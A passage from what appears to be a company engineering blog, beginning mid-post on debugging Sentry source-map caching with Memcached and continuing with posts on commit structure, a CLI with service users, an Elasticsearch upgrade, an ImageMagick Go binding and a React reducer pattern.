        with metrics.timer("sourcemaps.fetch"):
            result = http.fetch_file(url, headers=headers, verify_ssl=verify_ssl)
            z_body = zlib.compress(result.body)
            cache.set(
                cache_key,
                (url, result.headers, z_body, result.status, result.encoding),
                get_max_age(result.headers),
            )

            # since the cache.set above can fail we can end up in a situation
            # where the file is too large for the cache. In that case we abort
            # the fetch and cache a failure and lock the domain for future
            # http fetches.
            if cache.get(cache_key) is None:
                error = {
                    "type": EventError.TOO_LARGE_FOR_CACHE,
                    "url": http.expose_url(url),
                }
                http.lock_domain(url, error=error)
                raise http.CannotFetch(error)

    # ..snip..

    return result

(For simplicity, I truncated sections of code in this snippet. You can view the full source code here.)

So, what’s going on in this code?

Sentry fetches the file requested, and then adds a mapping between the cache_key and the file’s contents in its cache backend. But then immediately afterwards, it queries that cache backend for the cache_key it just set to ensure that the value was properly stored in the cache. If data from the cache couldn’t be read, then Sentry assumes that the file was too large to fit in the cache and returns the error message we had been experiencing.

This made it clear that the core issue at play was, indeed, that fetched files weren’t persisting in Sentry’s cache. But Sentry’s cache was already configured via this line in the Sentry configuration file to use Redis, and I’d already verified that Redis was able to store large files:

# A primary cache is required for things such as processing events
SENTRY_CACHE = "sentry.cache.redis.RedisCache"

But then I had a major realization. I noticed this insightful comment at the top of the file, where the cache object referenced in the source code above was imported:

# separate from either the source cache or the source maps cache, this is for
# holding the results of attempting to fetch both kinds of files, either from the
# database or from the internet
from sentry.utils.cache import cache

“Separate from either the source cache or the source maps cache…” what does that mean? Are there different types of caches?

I quickly found the cache.py file which was being imported, and right at the top of the file was:

from django.core.cache import cache

default_cache = cache

The contents of Sentry’s cache.py show it itself importing the django.core.cache.cache object, which is backed by the Django cache framework. And because anything in the local scope, including imports, can itself be imported from another file in Python, this means that the fetch_file() command is, via an import of an import, using that framework.

Like I mentioned earlier, the Sentry application is technically a Django application, albeit an odd one. The most recent version of Sentry uses Django 2.1, which was released in 2018 and had extended support dropped in December 2019. At a configuration level, they attempt to abstract away many of Django’s underlying setting options with Sentry-specific equivalents, many of which end up overriding Django’s native settings.

(Sentry has always been closely tied to Django. In fact, it started as a library for the Django logging framework which added exceptions from Django projects into a database, using Django.)

For example, take a relatively mundane configuration option such as specifying an outbound email server. In a standard Django project, you would define EMAIL_BACKEND to be a valid backend type, such as SMTP. Then you would set options such as EMAIL_HOST, EMAIL_PORT and EMAIL_USE_TLS accordingly with the details of the SMTP server.

But in Sentry, you are instead expected to set something like SENTRY_OPTIONS['mail.backend'] in your settings file. Sentry itself then contains code which takes in this SENTRY_OPTIONS value to set Django’s EMAIL_BACKEND accordingly. More or less, this reinforces that when configuring Sentry, the developers want you setting Sentry-specific settings, rather than typical Django ones.

Because of this pattern, I took it for granted that the SENTRY_CACHE setting was likely implicitly configuring the Django-managed cache. So I was certainly surprised after opening a Python shell inside of our sandbox test instance of Sentry to check the Django CACHES setting:

$ kubectl exec -it svc/sentry-web -- bash
root@sentry-web-66f999bfdd-6q6cq:/# sentry shell
Python 3.6.13 (default, May 12 2021, 16:48:24)
>>> from django.conf import settings
>>> settings.CACHES
{'default': {'BACKEND': 'django.core.cache.backends.dummy.DummyCache'}}

This confirmed it: Redis wasn’t being used as a caching mechanism for fetching source maps, at least not in the context of this code. In fact, the Django cache backend being used for this purpose was, by definition, not caching anything at all!

After this revelation, I felt a sense of relief. There was now a tangible problem that I knew we could solve.

Attempt 11: Configuring Memcached with Django

I spun up a basic Memcached deployment inside of the Kubernetes cluster which runs Sentry, and configured the Django CACHES backend to use it. The configuration of both was fairly straightforward. After creating Kubernetes sentry-memcached StatefulSet and Service objects, I simply added the following to Sentry’s configuration:

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
        'LOCATION': [
            'sentry-memcached:11211'
        ]
    }
}

I chose Memcached because it is an easy to configure but reliable cache system which is one of the default backends supported by Django.

Knowing from before that source maps and JavaScript files could take up a fair amount of space, Memcached’s default 1MB item size was not going to cut it, however. Thankfully, since Memcached 1.4.2 this maximum size is easily configurable with the -m argument, so I set it to 25MB in its container arguments by way of a ConfigMap:

piVersion: apps/v1
kind: StatefulSet
metadata:
  name: sentry-memcached
  namespace: sentry
spec:
  template:
    spec:
      containers:
        - name: sentry-memcached
          image: memcached:1.6.6
          args: [
            "-m $(MEMCACHED_MEMORY_LIMIT)",
            "-I $(MEMCACHED_MAX_ITEM_SIZE)"
          ]
          envFrom:
            - configMapRef:
                name: sentry-memcached-config
          # ...
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: sentry-memcached-config
  namespace: sentry
data:
  # 4GB max memory limit per pod
  MEMCACHED_MEMORY_LIMIT: "4096"
  # 25MB max item size (to support large JS files and sourcemaps)
  MEMCACHED_MAX_ITEM_SIZE: "26214400"

(In previous versions, setting a limit greater than 1MB would require recompiling Memcached from source. Thankfully that wasn’t necessary here.)

After deploying Memcached and the new Sentry configuration, we had a new error message:

Although learning that there’s yet another thing wrong might at first seem discouraging, when troubleshooting a problem it’s often a good thing, because it usually means you’re moving in the right direction. I could now move back to checking the Yext-side of serving sourcemaps to identify why they were returning a HTTP 403 Forbidden response to Sentry.

Attempt 12: Updating Our Internal IPs

Thankfully, this next fix was fairly straightforward. As mentioned previously, our Sentry instance was set up with Google Kubernetes Engine. For security reasons, our HAProxy load balancers are configured with an allow-list of internal IP ranges, which are used to protect source map files from being accessed by the outside world. (They do contain our unobfuscated source code, after all.)

With a fairly trivial change to our HAProxy configuration, we added our egress IPs for Sentry to be classified as within our internal IP range. One configuration update later, and…

Attempt 13. Back to Square One?

We were back to getting a “Remote file too large for caching” error! But how?

Well, it turned out that, for the first time, the error message text was actually right. The remote file WAS too large for the cache, but not because the remote file was too large… instead, the cache size was too small.

I had set a 25MB max size for Memcached items previously, which was much larger than the JavaScript files in question. Shouldn’t Sentry be allowing items more than 1MB in size after reading Memcached’s limit?

It turns out that the Python Memcached library being used by Django, and thus implicitly by Sentry, didn’t check Memcached’s max value size and instead defaulted to 1MB always. Even though the Memcached server was able to support large value sizes, the library which manages the connection to Memcached performed its own checks before making a new request to Memcached to ensure that the value was not too large, but did so using its own configuration setting!

Supposedly, Django’s Memcached backend supports specifying the server_max_value_length via an OPTIONS dictionary passed to the underlying python-memcached library, so that it can be made aware of the server’s increased size limit. This didn’t seem to work for me, however.

This override behavior was not especially well documented, and Sentry’s use of a very old Django version didn’t help when searching through bug reports to find a documented example of propagating this setting. (Newer versions of Django have moved to a new Memcached backend, which is more actively maintained and appears to have better documentation.)

I ended up needing to import the library in Sentry’s settings file and manually override one of its constants:

# 25MB max object size: keep in sync with MEMCACHED_MAX_ITEM_SIZE
import memcache
memcache.SERVER_MAX_VALUE_LENGTH = 1024 * 1024 * 25

I uploaded the CR, deployed to production, and waited.

It worked.

As an English proverb says, “all things come to those who wait.”

I hope you enjoyed following along on this adventure! If this blog post brought out your inner love for DevOps and infrastructure, check out our careers page – we’re hiring!

Strategies For Breaking Up Commits

pterry — Mon, 10 May 2021 00:00:00 +0000

As software engineers, a major part of our job involves the breakdown of work into smaller units. We know that just as a complex organism must be composed of many individual cells, so even the most grand and ambitious of software projects will at the end of the day be accomplished as a series of commits. Deciding how to organize your changes into commits is a very open-ended problem with many potential solutions, but an ideal solution will follow these three guidelines:

Each commit should accomplish just one purpose, and unrelated changes should not live together in the same commit.
A commit should be a self-contained unit; it should not depend on other, future commits to avoid breaking the codebase.
Each commit should be small enough for a code reviewer to read through and understand in its entirety without feeling overwhelmed.

The specifics of how to best accomplish these goals may depend on the design patterns you are following. At Yext, we use Domain-Driven-Design (DDD), including the Repository pattern. Implementation of a new server endpoint will typically consist of the following pieces:

Domain models
Repositories (or repos), which are interfaces encapsulating the required logic for accessing data sources
Repo implementations, which are implementations of the repos backed by a specific data source (e.g. a database)
Operation classes, which encapsulate the business logic required for the endpoint and often use one or more repos
Unit tests for the operations
Integration tests for the repo implementations

With that in mind, I’d like to take a look at two commonly used commit strategies for implementing such a new endpoint, evaluate these strategies in light of the three guidelines mentioned above, and propose a third strategy that fixes some of the shortcomings of the first two.

Strategy #1: “Goliath”

The strategy here is that there is no strategy: just implement the endpoint in its entirety, including the operation class, models, repos, implementations, unit and integration tests, in one big commit. This strategy satisfies guidelines 1 and 2: it has a single purpose (to implement the endpoint) and it is a self-contained unit. The problem is with guideline 3: this commit will be large and tedious to review. If you’ve ever reviewed a massive commit you know it takes much more mental energy than a smaller one, and it’s easier for issues to slip through the cracks. Thus, this strategy works well for the writer of the code but makes life harder for the reviewer.

Strategy #2: “Test Later”

This strategy involves two commits. The first contains the full implementation of the endpoint, but without unit or integration tests, which come in the second commit. This helps alleviate the main problem with the Goliath strategy, but it introduces a new problem: the first commit is no longer a fully self-contained unit. Because it doesn’t have any tests, it’s more likely to contain bugs, and shipping it could result in broken code in production. Even if this does not happen, the code from the first commit may still have to be revisited in the second commit if tests reveal bugs or non-ideal behavior. This means the Test Later strategy doesn’t quite satisfy guideline 2.

Strategy #3: “Logic-then-Infrastructure”

This third strategy also involves two commits, but they are structured differently. The first commit includes all the “Logic” (the operation class, the domain models, the repo interfaces, and the unit tests), while the second commit creates the “Infrastructure” (repo implementations, integration tests, and finally the actual server endpoint code that instantiates/runs the operation). Note the following characteristics of this strategy:

Each commit has just one purpose, either to create the business/domain logic for the endpoint or to create the infrastructure layer for the endpoint.
Both the operation and the repo implementations are shipped with their corresponding tests, therefore untested code is never shipped.
Each commit is smaller and easier to review than a single monolithic commit would be.

Therefore, this strategy helps us satisfy all three of the guidelines mentioned above. As an added bonus, writing the business logic and models before the infrastructure is in place helps limit assumptions in the domain layer. For these reasons, I believe Logic-then-Infrastructure is the best of these three approaches and has great potential to ensure that code is both well-tested and easily-reviewable.

Implementing an example endpoint using Logic-then-Infrastructure

Say we want to implement a server endpoint for creating reviews, where a review consists of an author name, a rating, and some content. Our first (Logic) commit would create the domain model (if it did not already exist):

public class Review {
  private final String authorName;
  private final int rating;
  private final String content;
  // Constructor, getters, etc.
}

Add a repo interface method:

public interface ReviewsRepo {
  void createReview(Review review);
}

Create the operation (note that the operation contains some business logic):

public class CreateReviewOperation {
  private final ReviewsRepo reviewsRepo;

  public CreateReviewOperation(ReviewsRepo reviewsRepo) {
    this.reviewsRepo = reviewsRepo;
  }

  public void run(Review review) {
    if (review.getRating() < 1 || review.getRating() > 5) {
      throw new IllegalArgumentException("Invalid rating");
    }
    if (Strings.isNullOrEmpty(review.getAuthorName())) {
      review.setAuthorName("Anonymous Reviewer")
    }
    reviewsRepo.createReview(review);
  }
}

And add some unit tests for the operation:

public class CreateReviewOperationTest {
  private ReviewsRepo reviewsRepo;
  private CreateReviewOperation operation;

  @Test
  public void testCreatesReview() {
    // Test code
  }

  // Other tests
}

At this point, all this code compiles and the unit tests should pass, because the operation doesn’t depend on the repo implementation code.

Our second (Infrastructure) commit would contain a repo implementation backed by a specific resource (in this case a database):

public class DbReviewsRepo implements ReviewsRepo {
  private final Connection connection;

  public DbReviewsRepo(Connection connection) {
    this.connection = connection;
  }

  public void createReview(Review review) {
    //Implementation of createReview that writes to the provided database
  }
}

Integration tests for this repo implementation:

public class DbReviewsRepoIT {
  private DbReviewsRepo repo;

  @Test
  public void testCreateReview() {
    // Test code
  }

  // Other tests
}

And finally, the endpoint itself:

public class ReviewServer {

  public void createReviewEndpoint(Request request) {
    Review review = transformToReview(request);
    try (Connection connection = getReviewsDatabase()) {
      new CreateReviewOperation(new DbReviewsRepo(connection)).run(review);
    } catch (SQLException e) {
      throw new RuntimeException(e);
    }
  }
}

Yext Command Line Interface (CLI)

asaurabh — Wed, 14 Apr 2021 00:00:00 +0000

The Yext Command-Line Interface (CLI) allows a user to interact with Yext from the terminal.

The Yext CLI can be used to pull, diff, and apply your account’s configuration. For example, you can set up Yext Answers without leaving your terminal. We will continue to support the newest Yext products in the Yext CLI.

This post introduces you to the Yext CLI, with a particular focus on how to use Service Users for automation.

Problem

Our CTO wanted the Yext CLI to apply his configuration as a step in a CI (Continuous Integration) build pipeline. Our CIO required all data changes to be attributed to a specific human. How do we solve these two seemingly conflicting constraints at the same time?

Indirection solves many problems in computer science. Let’s see how we can leverage that. But first, how is this issue solved in the real, brick and mortar world?

Analogy

I have a rental property. A property manager manages the property. I have given the property manager a key to the property to keep. To service the house, he takes out the key and gives it to a plumber with the understanding that the key is only for a finite amount of time. The plumber uses the key to service the house and returns the key to the property manager. As the property owner, I do not need to be involved in any of this. However, I am still attributed to any changes to the house. For example, if there is a housing code violation in the house, I will still be on the hook for that by the Government and not the plumber or the property manager.

Let’s take this analogy to our service user concept.

Service User

We create a Service User or machine user under an account that generates a key. Then we save the generated key into Vault, the manager of the keys. Vault provides the key to a script that activates the service user using the key. The Auth Server allows an hour for the Service User to make changes to an account. For a longer duration, the Service User needs to be re-activated using the key. Service User performs actions on an account. The key stays in the Vault and does not leak to the outside world. The attributions of these actions include the creator of the Service User in addition to the Service User.

A Service User can be created only under a session by the account owner. A Service User can make changes to an account. In the case of multiple owners of the house, the owner who made the service user will be attributed. This situation is slightly different from real-life where all the owners will be on the hook.

A service user is valid forever unless specifically deleted. The session that the script gets into is valid only for an hour and needs a re-activation for the next hour. The Yext CLI sends the key to the auth server on activate. The auth server decrypts the key and matches it against known service users. If matched, the auth server returns an access code valid for that account for an hour.

While Service User is the applier to script a change to an account, the solution configuration modifications in the repositories or locally can be scripted by our tool called Solution Updater or Sud.

Sud

Sud (Solution Updater) is a tool to automate modification of your account or solution configurations present in a repository or locally. You can use Sud to bulk modify multiple configuration repositories with a single command. Once you have collected some Cac (configuration as code) resources as JSON files, you may want to maintain them using scripts. We maintain Yext Solution Templates using Sud at Yext.

We have developed the sud tool and have open-sourced it to help the users maintain their solution repositories.

Sud uses our forked JSON patch library that implements ordering to update JSON files in-place.

Sud, along with the Yext CLI, unlocks the power of the CLI for you.

The Power of the CLI

In this section, we will install and use the Yext CLI to write an example script. The script will enable hotel entity type whenever it is run.

Setup

To set up for scripting for an account once, we will install the Yext CLI and create a Service User while in a session. We will also install Sud.

Install the Yext CLI and link to an account as in the CLI documentation.

brew install yext/tap/yext and yext init
Run service-users command group to create a service user with the chosen name and path to where you want to generate the key file.

For example, yext service-users create runner-service-user ./runner.key
Install sud our solution updater tool to bulk edit configuration as code.

brew install yext/tap/sud

After the one-time setup, we can work on the script to use the CLI tools.

Script

In this section, we will create a script and run it to make a change to your account. Please create a script by following the below gif, name it enable-hotel.sh

Activate the service user. Activating a service user changes the current credential to be the service user.

yext service-users activate --key-file ./runner.key

Once activated, you may pull or apply resources, as usual, using the Service User’s identity. Please note that for attribution purposes, the user who creates the service user will be part of the actor attribution for changes made using a service user.
Pull resources yext resources pull ~/r/my-resources
Enable hotel sud replace default/km/*/hotel.json --path /enabled --value true ~/r/my-resources
Apply the modified resource yext resources apply ~/r/my-resources/default/km/entity-type-extension/hotel.json -f

Make the script executable chmod +x enable-hotel.sh and run it.

Thus, we can make changes to an account with no human intervention but with human attribution.

Solved!

That solves the ask of our CTO to use the Yext CLI to apply without human intervention. Our CIO wanted human attribution. The creator of the service user continues to be attributed along with the service user.

Elasticsearch upgrade using Kafka

msiddique — Mon, 29 Mar 2021 00:00:00 +0000

Recently, we upgraded our Elasticsearch clusters from version 6 to version 7. This blog post describes how we did it.

Why upgrade

The upgrade was driven by the desire to search using Dense Vectors when searching unstructured content. After upgrading that cluster, we started to think about the most effective way to upgrade the remaining Elasticsearch clusters used for other purposes. It’s important to not get too far behind the upgrade cycle, and our analytics clusters could benefit from the new circuit breaker support , since we’ve had problems from time to time with large queries having negative impact on the cluster.

Goals for the upgrade process

We had some goals in our mind while planning the upgrade:

There should be zero downtime/service interruption.
If we see performance degradation or errors, we should be able to revert without data loss.

How we did it

Although Elastic has a documented upgrade process , we decided against that approach because of the potential for downtime and the difficulty of reverting in case of trouble. Instead of upgrading the cluster in place, we provisioned a new Elasticsearch 7 cluster and began indexing documents in both, a process commonly referred to as “dual-write”. There was one difference, though – instead of pushing documents directly to Elasticsearch 7, we wrote them to Kafka and loaded them asynchronously. Direct dual-writing to two different clusters proved out to be risky and error-prone in local testing. Writing to Kafka prevents problems with the new cluster from affecting the existing indexing process, and we were also interested to gain some advantages from this architecture:

Kafka MirrorMaker is a more efficient way to transfer data to remote regions than making individual HTTP requests.
For disaster recovery, we can replay the Kafka topic to re-generate an Elasticsearch index, which is much faster than re-generating all of the documents from source systems.

After we enabled dual-write and ran a full load, we observed the same number of documents in both the clusters. Then, we verified the contents of the query responses. The response verification process was service dependent. Some of our services were simple enough that we could run the same queries on both the clusters and compare the responses manually. For the more complicated ones, we had to employ an automatic verification process. We always use a dedicated RPC server to translate and execute queries against Elasticsearch to avoid the challenges traditionally associated with shared databases. By capturing the queries and responses, we can replay traffic from the production Elasticsearch 6 cluster against the Elasticsearch 7 cluster under test. Once it was verified that they return the same response, we routed the traffic to the Elasticsearch 7 cluster.

Since Elasticsearch REST client 6.8.12 supports both Elasticsearch 6 and 7, we could use the same code for both the clusters.

The nuts and bolts

At first, we made sure that the source and target cluster had the same set of indices and aliases using the Index management API.

The next step was to update the data. The data in an Elasticsearch cluster can be updated by the following ways:

Out of the above options, only IndexRequest and DeleteRequest are idempotent. Since we were using Kafka, the same message may be replayed multiple times during application deployment and scaling. As a result, idempotence of the messages was required. UpdateRequest, UpdateByQuery and DeleteByQuery didn’t produce the same result if replayed multiple times. In fact, their output was not even deterministic. As a result, we changed our code to only use these two type of requests. Fortunately, most of our code already conformed to that. The next step was to serialize the IndexRequest and DeleteRequest to a Kafka topic. We set up a loader daemon that read from a Kafka topic and write to an Elasticsearch 7 cluster asynchronously. Since the same set of IndexRequest and DeleteRequest were sent to both the clusters (they had the same set of indices and aliases), they ended up being eventually consistent.

Since the two clusters had the same set of documents, we could hot-swap them. As a result, we didn’t experience any downtime or service disruption during the process. For the same reason, we could also swap them back in case of any service degradation. The most interesting part was that the solution can be applied for any future upgrade as well.

What we learned

Any cluster can be upgraded by following the above technique. We have tested it for clusters with 100s of millions of documents.
The REST API compatibility between two major versions is the primary reason for the seamless upgrade experience. Based on the current setup, we can upgrade more frequently and without too much throw-away work.

An ImageMagick binding for Go, built with Bazel

robfig — Wed, 24 Mar 2021 00:00:00 +0000

The Problem: cgo, cross-compilation, and Bazel

The Photos system stores, processes, and serves customer-supplied images, as described in The Making of Pages, part 2. It is implemented in Go and performs its image processing tasks using the high-performing and feature-rich ImageMagick, via the gographics/imagick package.

This worked, but it had a few issues:

ImageMagick of a specific version must be installed on developer workstations and our CI VMs.
Cross-compilation does not work, because no one knows how to set up a cross-compilation toolchain for C++.

Then we migrated to Bazel so that we could build container images, automate our code generation steps & dependency management, and speed up builds with a team-wide cache and safe incremental builds. gographics/imagick does not build with Bazel out of the box.

Here’s how we added Bazel support and solved the two issues mentioned above.

The Solution: Vagrant & Static linking

Taking a page out of Go’s build philosophy, we can build statically-linked libraries for ImageMagick for MacOS/Linux and check them in. To easily build those libraries for multiple platforms and test that the results work, we use Vagrant and provision the local VMs with Ansible. This assumes a MacOS host.

The entire change can be seen here: yext/imagick 7827fa8f

Working through it:

Vagrantfile configures three different Linux VMs, used for building the ImageMagick library and testing the results in two different environments: one mimicking a developer workstation and another mimicking production. Vagrant provisions the “developer workstation” using vagrant-dev-playbook.yml, an Ansible playbook.
download-build-imagemagick.sh is run from both the MacOS host and the Linux builder VM to download and build static ImageMagick libraries.
imagick/magick_wand_test.go includes a unit test that validates the set of delegates (image formats) supported by the library, providing confidence that it was built properly.
imagick/magick_wand.go has an update to the #cgo directives, which pulls in the prebuilt libraries instead of using pkg-config.
libs/BUILD.bazel contains the cc_library Bazel target, referenced by the go_library in imagick/BUILD.bazel.

In the end, I was able to build on MacOS and Linux, run the tests, and cross-compile. Nirvana achieved.

World Engineering Day 2021

Yext Engineering — Thu, 04 Mar 2021 00:00:00 +0000

World Engineering Day 2021

Happy World Engineering Day!

Our leadership recognizes our engineering and technology professionals for the incredible work they do everyday to move Yext forward in our mission to connect billions of people around the world with answers to their questions.

While no one would say that this past year was an easy one, our Technology teams might have made you think otherwise based on the transformational work they were able to do for Yext. Despite the challenges of a global pandemic and a full year of remote work, our technology teams managed to complete 297 major initiatives throughout the year.

Particularly notable is the work our engineers undertook to help Yext customers deal with COVID-19. As the pandemic spread and businesses needed ways to inform their customers of temporary location closures, we quickly added support for specifying temporary closures and re-open dates within a company’s Knowledge Graph. Along with this, we took on the high urgency initiative to give customers access to COVID-related fields at Google, Apple, Yelp and other publishers.

Outside of our day-to-day work, our team stayed connected and enjoyed each other’s virtual company, courtesy of Zoom. We may not have been able to gather in person for our usual events and offsites, but that didn’t stop us from having a good time together!

We celebrated our wins together with plenty of virtual dinner parties and happy hours.

And we tried our hand at some new skills, from pasta-making to painting. We even had some very special guests at one of our teams’ meetings!

As we look back on the year, we are thankful for the support of our teammates and leadership to get us through what some have called “unprecedented times.” In all seriousness, Yext could not be where it is today without the substantial contributions of our talented Technology and Consulting organizations. We thank you for all of your work, and we look forward to everything we’ll do together in 2021.

Happy Engineering!

Writing Our Own In-house Redux (Kind Of)

dpowers — Mon, 22 Feb 2021 00:00:00 +0000

At Yext, we use React for all new frontend applications. When it comes to state management libraries to go with React, it doesn’t get much better than Redux. It allows you to define any number of reducers which comprise a global store, to dispatch actions to that store, and to subscribe to only the parts of state that you care about in each component.

On the other hand, for apps with relatively simple state, a few useState calls should do the trick. However, while working on a large frontend project recently, I noticed that our state grew complex enough to warrant something more than some hooks. No team at Yext has used Redux thus far, and even despite its relatively small size (163 kB), we thought it overkill for our use case. What we really wanted was a basic Redux implementation without having to use a third-party library.

So, like any Yexter would, we set out to make our own Redux! Albeit with a simpler set of features, we still created a store-like state with a way to dispatch actions to that store. Here’s how:

The Reducer

First, we defined a custom reducer in its own file. A reducer is simply a function that accepts a current state and an action, and based on that action, returns a new state. The Redux convention is that every action is an object which has, at the very least, a type property which is a string. In this post, we will demonstrate with a simple counter which we can increment, decrement, or set. Here’s what a simple reducer for the count state looks like:

// countReducer.js
const INCREMENT = 'INCREMENT';
const DECREMENT = 'DECREMENT';
const SET_COUNT = 'SET_COUNT';

export default function countReducer(state, action) {
  switch (action.type) {
    case INCREMENT:
      return state + 1;
    case DECREMENT:
      return state - 1;
    case SET_COUNT:
      return action.count;
    default:
      throw new Error(`Action type ${action.type} not recognized`);
  }
}

Later, we’ll feed this function into a useReducer hook which will automatically take care of updating the state for us when we dispatch actions.

The Store

I use the term “store” lightly here, because in this light Redux implementation, the store is nothing more than state stored in a top-level component. However, it still behaves much like a store in that it serves as the single source of truth for the application (or subset of the application). Additionally, we can dispatch actions to this “store” from anywhere.

As mentioned previously, we create this “store” using the useReducer hook, which will give us a state as well as a dispatch function to update that state. The hook automatically takes care of updating the state whenever it receives an action.

// TopLevelComponent.jsx
import React, { useReducer } from 'react';
import countReducer from './countReducer';

export default function TopLevelComponent(props) {
  const [count, dispatch] = useReducer(countReducer, 0);

  return (
    <p>The current count is {count}.</p>
  );
}

The second argument to useReducer is the initial value of the state, which we will set to 0.

Now that we have created our “store”, we need to provide child components with a way to update that store in a convenient way.

Providing `dispatch`

To make our implementation even sleeker, we wanted to provide a way for child components to access the dispatch function without manually passing it to them. To accomplish this, we used React Context. First, we created a context in the reducer file:

// countReducer.js
import { createContext } from 'react';

export const CountContext = createContext(null);

Next, we imported that context into our top-level reducer in order to provide the dispatch function to all children:

// TopLevelComponent.jsx
import React, { useReducer } from 'react';
import countReducer, { CountContext } from './countReducer';

export default function TopLevelComponent(props) {
  const [count, dispatch] = useReducer(countReducer, 0);

  return (
    <CountContext.Provider value={dispatch}>
      {/* children */}
    </CountContext.Provider>
  );
}

Then, any child which requires the dispatch function can grab it via the useContext hook.

We didn’t make a way to provide the value of the state globally (as Redux usually does), but that could easily be accomplished by using another piece of context and its corresponding provider.

Action Creators

Manually constructing action objects in each component becomes tedious. For example, every time you wanted to set the count from a child component, you would have to do something like this:

// SomeChildComponent.jsx
dispatch({
  type: SET_COUNT,
  count: 5
});

Well, it’s not that tedious, but as the state grows increasingly complex, action creators become even more useful. We defined some action creators in our reducer file that other child components can import. These action creators take care of constructing the object for you given certain parameters. Here’s an example for the set count action:

// countReducer.js
export const setCount(count) {
  return {
    type: SET_COUNT,
    count
  };
}

Bring it All Together

Now, we can use the dispatch function to update the global state from any child component:

// ChildComponent.jsx
import React, { useContext, useState } from 'react';
import { CountContext, setCount } from '../reducer';

export default function ChildComponent(props) {
  const dispatch = useContext(Context);
  const [value, setValue] = useState(0);

  return (
    <div>
      <p>Enter a number:</p>
      <input type="text" value={value} onChange={(e) => setValue(e.target.value)} />
      <button type="button" onClick={() => dispatch(setCount(value))}>
        Set Count
      </button>
    </div>
  );
}

Now, when a user clicks the “Set Count” button, the global count state will be updated. Furthermore, any child which subscribes to that global state will automatically see all dispatched updates!

Just remember: using Redux is cool, but making your own (basic) Redux is far cooler 😎.

Yext Engineering Blog

Log4j2 Security Vulnerability Status at Yext

Log4j2 Security Update [12/20/2021]

Executive Summary

Technical Summary

Impact Analysis

Mitigations Implemented

Remediation Activity

Additional Monitoring

Post Mortem Analysis

Yext Guidance for Log4j remediation in customer environments (External to Yext)

Who is impacted?

Asset Inventory

Remediation

Isolate

Mitigate

Monitor

Frequently Asked Questions (FAQs)

References

Overview of the Yext Crawler

High-level Architecture

Scalability

Error Handling

Fair Scheduling

Conclusion

Writing a Simple Intellij Plugin

Starting Out

Investigation

Actual Plugin Stuff

Boring Plugin Stuff

The Final Implementation

Future Enhancements

Final Thoughts

Configuring Sentry with JavaScript Source Maps

What’s a source map?

The Problem

Attempt 1. Adjusting The Setting

Attempt 2. Increasing the Cache Size

Attempt 3. Redis Limits

Attempt 4. Maybe we’re timing out?

Attempt 5. Maybe upgrading will fix it?

Attempt 6. Did we break it?

Attempt 7. Blame Kubernetes

Attempt 8. The Gang Runs a NFS Server

Attempt 9. A New Hope

Attempt 10: The Other Caching Mechanism

Attempt 11: Configuring Memcached with Django

Attempt 12: Updating Our Internal IPs

Attempt 13. Back to Square One?

It worked.

Strategies For Breaking Up Commits

Implementing an example endpoint using Logic-then-Infrastructure

Yext Command Line Interface (CLI)

Problem

Analogy

Service User

Sud

The Power of the CLI

Setup

Script

Solved!

Elasticsearch upgrade using Kafka

Why upgrade

Goals for the upgrade process

How we did it

The nuts and bolts

What we learned

An ImageMagick binding for Go, built with Bazel

The Problem: cgo, cross-compilation, and Bazel

The Solution: Vagrant & Static linking

World Engineering Day 2021

Writing Our Own In-house Redux (Kind Of)

The Reducer

The Store

Providing dispatch

Action Creators

Bring it All Together

Providing `dispatch`